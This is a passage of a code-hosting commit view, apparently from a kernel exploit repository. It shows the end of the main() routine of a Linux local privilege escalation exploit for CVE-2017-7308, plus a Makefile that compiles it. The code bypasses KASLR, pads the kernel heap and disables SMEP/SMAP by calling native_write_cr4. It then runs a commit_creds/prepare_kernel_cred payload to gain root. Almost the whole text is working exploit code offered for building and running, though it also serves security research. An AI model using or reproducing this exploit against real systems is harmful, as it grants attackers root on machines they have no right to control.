| 	setup_sandbox(); | ||||
| 	dprintf("[~] done, namespace sandbox set up\n"); | ||||
|  | ||||
| #if ENABLE_KASLR_BYPASS | ||||
| 	dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); | ||||
| 	KERNEL_BASE = get_kernel_addr(); | ||||
| 	dprintf("[.] done, kernel text:   %lx\n", KERNEL_BASE); | ||||
| #endif | ||||
|  | ||||
| 	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS); | ||||
| 	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); | ||||
|  | ||||
| #if ENABLE_SMEP_SMAP_BYPASS | ||||
| 	dprintf("[.] native_write_cr4:    %lx\n", NATIVE_WRITE_CR4); | ||||
| #endif | ||||
|  | ||||
| 	dprintf("[.] padding heap\n"); | ||||
| 	kmalloc_pad(KMALLOC_PAD); | ||||
| 	pagealloc_pad(PAGEALLOC_PAD); | ||||
| 	dprintf("[.] done, heap is padded\n"); | ||||
|  | ||||
| #if ENABLE_SMEP_SMAP_BYPASS | ||||
| 	dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n"); | ||||
| 	oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); | ||||
| 	dprintf("[.] done, SMEP & SMAP should be off now\n"); | ||||
| #endif | ||||
|  | ||||
| 	dprintf("[.] executing get root payload %p\n", &get_root_payload); | ||||
| 	oob_id_match_execute((void *)&get_root_payload); | ||||
| 	dprintf("[.] done, should be root now\n"); | ||||
|  | ||||
| 	check_root(); | ||||
|  | ||||
| 	while (1) sleep(1000); | ||||
|  | ||||
| 	return 0; | ||||
| } | ||||
							
								
								
									
										7
									
								
								CVE-2017-7308/Makefile
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										7
									
								
								CVE-2017-7308/Makefile
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,7 @@ | ||||
| TARGET := CVE-2017-7308 | ||||
|  | ||||
| all: | ||||
| 	gcc CVE-2017-7308.c -o $(TARGET) | ||||
|  | ||||
| clean: | ||||
| 	rm -f $(TARGET) | ||||
		Reference in New Issue
	
	Block a user
	 Andrey Konovalov
					Andrey Konovalov